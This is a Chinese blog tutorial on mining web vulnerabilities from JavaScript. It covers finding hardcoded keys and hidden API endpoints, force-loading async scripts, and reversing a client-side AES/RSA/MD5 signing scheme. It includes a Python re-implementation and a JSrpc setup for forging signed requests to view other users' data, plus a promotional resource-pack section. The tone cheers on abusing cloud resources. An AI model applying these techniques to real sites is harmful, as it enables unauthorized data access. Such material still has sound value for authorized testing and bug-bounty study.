利用js挖掘漏洞(非常详细)从零基础入门到精通,收藏这篇就够了!

JS,前端的灵魂,也是安全漏洞的温床。这篇文章?入门级而已!今天,咱们不只是“记录学习”,而是要彻底解剖JS,玩转参数逆向,让隐藏的漏洞无处遁形!

前言:JS,不止是动画和特效,更是漏洞挖掘的宝藏!

别再把JS当成简单的脚本语言了!它承载着业务逻辑、数据交互,也隐藏着无数的安全隐患。想成为真正的网络安全专家?吃透JS是必经之路!

漏洞挖掘:从入门到入狱!

一、用户名密码?密钥?别藏着掖着了,JS会让你哭出来!

  1. 默认用户名密码: 这种低级错误现在还有?有的!JS里翻翻,说不定有惊喜(惊吓)!
  2. 硬编码密码、密钥泄露: 开发者图省事儿?把密钥直接写在JS里?恭喜你,挖到金矿了!这可比SQL注入刺激多了!

二、指纹信息:暴露你的框架,暴露你的版本!

框架信息、开发商信息、版本信息... 这些看似不起眼的信息,却是黑客的侦察利器。JS文件就像开发者的自白书,藏都藏不住!

三、接口泄露:找到隐藏的后门,直捣黄龙!

JS里藏着大量的接口?那是必须的!别再用burp suite 傻乎乎的 跑目录了!用正则匹配敏感字,或者截取父目录,直接找到隐藏的业务模块。这才是效率!

四、异步加载:等等党永不为奴?不存在的!

页面加载慢?模块不显示?异步加载的JS文件在搞鬼!别傻等了,直接上代码,让所有JS文件瞬间爆炸!

  1. 异步加载JS?So what? 同步加载?老古董了!异步加载才是王道!asyncdefer 属性,让浏览器飞起来!但是加载的JS文件也可能包含未授权的接口!

  2. 实战?注册点都没有?那就自己创造! 登录页面没有注册?别慌!从前端源码入手,异步加载所有JS,直接找到隐藏的功能点!

    异步加载,一键梭哈!

    javascript var arr=["https://xxx.xxx.com/xxxxxxx/xxxx/0.1.0/js/xxxxxxx.js", //完整的js路径,一个都不能少!"https://xxx.xxx.com/xxxxxxx/xxxx/0.1.0/js/xxxxxxx.js"] for(var i=0;i<arr.length;i++){ var script = document.createElement('script'); script.src = arr[i]; document.getElementsByTagName('head')[0].appendChild(script); }

    控制台跑起来,隐藏的file接口,给我现形!

    找到接口,构造参数,一波带走!云服务资源?直接白嫖!

    存储桶?拿下!

五、JS逆向:破解加密,为所欲为!

  1. 思路?简单粗暴! 定位源码,浏览逻辑,断点调试,找到算法,脚本还原,破解解密,测试漏洞! 一气呵成!

  2. 案例?越权查看?小菜一碟! 抓包分析,发现加密?直接开干!

    接口 /rxxx/xxxxxtenonceskeysign? 别怕,都是纸老虎!

    搜索大法好!找不到?断点伺候!

    找到JS文件,全局分析,加密参数,全部现形!

    getKeyParams 方法?核心加密逻辑!

    javascript getKeyParams: function(t, e) { var n = { timestamp: "", nonce: "", skey: "", body: "", sign: "", aesSecretKey: "" }; ut = e; n.timestamp = (new Date).getTime(); n.nonce = this.getNonce(32); n.skey = this.getAesSecretKey(); n.aesSecretKey = rt; n.body = this.encryptByAES(r()(t), rt, "12xxxxxxxxxxxef").encryptContent; var i = this.encryptByMD5(n.timestamp + n.nonce + n.skey + n.body); return n.sign = this.encryptByRSA(i, ut), n; }

    时间戳、随机数、AES密钥、加密内容、签名... 一步到位!

    getNonce?生成随机字符串!

    javascript getNonce: function(t, e, n) { var i, a = ""; void 0 === t && (t = 10), "string" == typeof e && (n = e), i = e && "number" == typeof e ? Math.round(Math.random() * (e - t)) + t : t, n = n || "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; for (var o = 0; o < i; o++) { var l = Math.round(Math.random() * (n.length - 1)); a += n.substring(l, l + 1) } return a }

    encryptByMD5?MD5加密!

    javascript encryptByMD5: function(t) { return console.log("md5", t), ot.a.MD5(t) .toString() .toUpperCase() }

    encryptFunction?RSA加密!

    javascript encryptFunction: function() { return this.encryptByRSA(ct, ut); }

    getAesSecretKey?生成AES密钥并加密!

    javascript getAesSecretKey: function() { var t = ut; return rt = this.getNonce(16), console.log("16", rt), ct = this.encryptByRSA(rt, t); }

    encryptByAES?AES加密!

    javascript encryptByAES: function(t, e, n) { var i = ot.a.enc.Utf8.parse(e), a = ot.a.enc.Utf8.parse(n); return { encryptContent: ot.a.AES.encrypt(t, i, { iv: a, mode: ot.a.mode.CBC, padding: ot.a.pad.Pkcs7 }).toString(), encryptSecretKey: e }; }

    Python还原!

    ```python
    import base64
    import hashlib
    import random
    import time
    from Crypto.Cipher import AES, PKCS1_v1_5
    from Crypto.PublicKey import RSA
    from Crypto.Util.Padding import pad, unpad

    rsa_public_key = '''-----BEGIN PUBLIC KEY-----MxxxxxxxxxMBUD-----END PUBLIC KEY-----'''.strip()

    class EncryptHandler:
    def init(self, rsa_public_key):
    self.aes_key = self.get_nonce(16) # 生成 AES 密钥
    self.iv = '12xxxxxxxxxef'.encode('utf-8') # 固定的 IV,实际中可根据需求随机化
    self.rsa_public_key = rsa_public_key

    @staticmethod
    def get_nonce(length):
        characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
        return ''.join(random.choice(characters) for _ in range(length))
    
    def aes_encrypt(self, data):
        cipher = AES.new(self.aes_key.encode('utf-8'), AES.MODE_CBC, self.iv)
        encrypted = cipher.encrypt(pad(data.encode('utf-8'), AES.block_size))
        return base64.b64encode(encrypted).decode('utf-8')
    
    def md5_sign(self, data):
        return hashlib.md5(data.encode('utf-8')).hexdigest().upper()
    
    def rsa_encrypt(self, data):
        key = RSA.import_key(self.rsa_public_key)
        cipher = PKCS1_v1_5.new(key)
        encrypted_data = cipher.encrypt(data.encode('utf-8'))
        return base64.b64encode(encrypted_data).decode('utf-8')
    
    def prepare_request(self, body):
        timestamp = str(int(time.time() * 1000))
        nonce = self.get_nonce(32)
        aes_encrypted_body = self.aes_encrypt(body)
        skey = self.rsa_encrypt(self.aes_key)
        sign_str = timestamp + nonce + skey + aes_encrypted_body
        md5_signature = self.md5_sign(sign_str)
        rsa_signature = self.rsa_encrypt(md5_signature)
        request_data = {
            "timestamp": timestamp,
            "nonce": nonce,
            "skey": skey,
            "body": aes_encrypted_body,
            "sign": rsa_signature
        }
        return request_data
    

    handler = EncryptHandler(rsa_public_key)

    def main():
    body = "xxxx" # 需要加密的内容
    encrypted_request = handler.prepare_request(body)
    print("Encrypted Request:", encrypted_request)

    if name == 'main':
    main()
    ```

    运行脚本,更改body,一键加密!

    替换参数,越权查看,so easy!

六、JSrpc:远程调用?免抠代码?黑科技!

  1. JSrpc?什么鬼? 远程调用浏览器方法,免去抠代码补环境!这才是真正的效率神器!

  2. 原理?简单粗暴! 浏览器注入环境,websocket连接,RPC调用函数,加密解密,一气呵成!

  3. 实战?走起!

    下载项目,本地运行!

    注入JS,构建通信环境!

    连接通信!

    javascript // 注入环境后连接通信 var demo = new Hlclient("ws://127.0.0.1:12080/ws?group=zzz"); // 可选 //var demo = new Hlclient("ws://127.0.0.1:12080/ws?group=zzz&clientId=hliang/"+new Date().getTime())

    调用浏览器ws接口,运行JS代码!

    ```python
    import requests

    js_code = """(function(){
    console.log("test")
    return "执行成功"})()"""
    url = "http://localhost:12080/execjs"
    data = {
    "group": "zzz",
    "code": js_code
    }
    res = requests.post(url, data=data)
    print(res.text)
    ```

    寻找加密函数,改为全局函数!

    自定义函数,传递参数,加密结果,唾手可得!

    注册JS方法!

    javascript // 固定的RSA密钥 var rsa = "MIxxxxxxxxDAQAB"; //注册行为 demo.regAction("key", function(resolve, param) { var user = param["param"]; var res = getKeyParams(user, rsa); // 使用固定的RSA密钥作为第二个参数调用getKeyParams函数 resolve(res); });

    远程调用!

    http://127.0.0.1:12080/go?group=zzz&action=key&param=123456

    远程调用加密函数,省去脚本转化,效率Max!

JS,不仅仅是前端的玩具,更是安全攻防的利器!掌握JS逆向,你就能在网络安全的世界里,为所欲为!
```

黑客/网络安全学习包

资料目录

  1. 成长路线图&学习规划

  2. 配套视频教程

  3. SRC&黑客文籍

  4. 护网行动资料

  5. 黑客必读书单

  6. 面试题合集

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

1.成长路线图&学习规划

要学习一门新的技术,作为新手一定要先学习成长路线图方向不对,努力白费

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

2.视频教程

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

3.SRC&黑客文籍

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!

4.护网行动资料

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

5.黑客必读书单

**

**

6.面试题合集

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

更多内容为防止和谐,可以扫描获取~

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*********************************

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值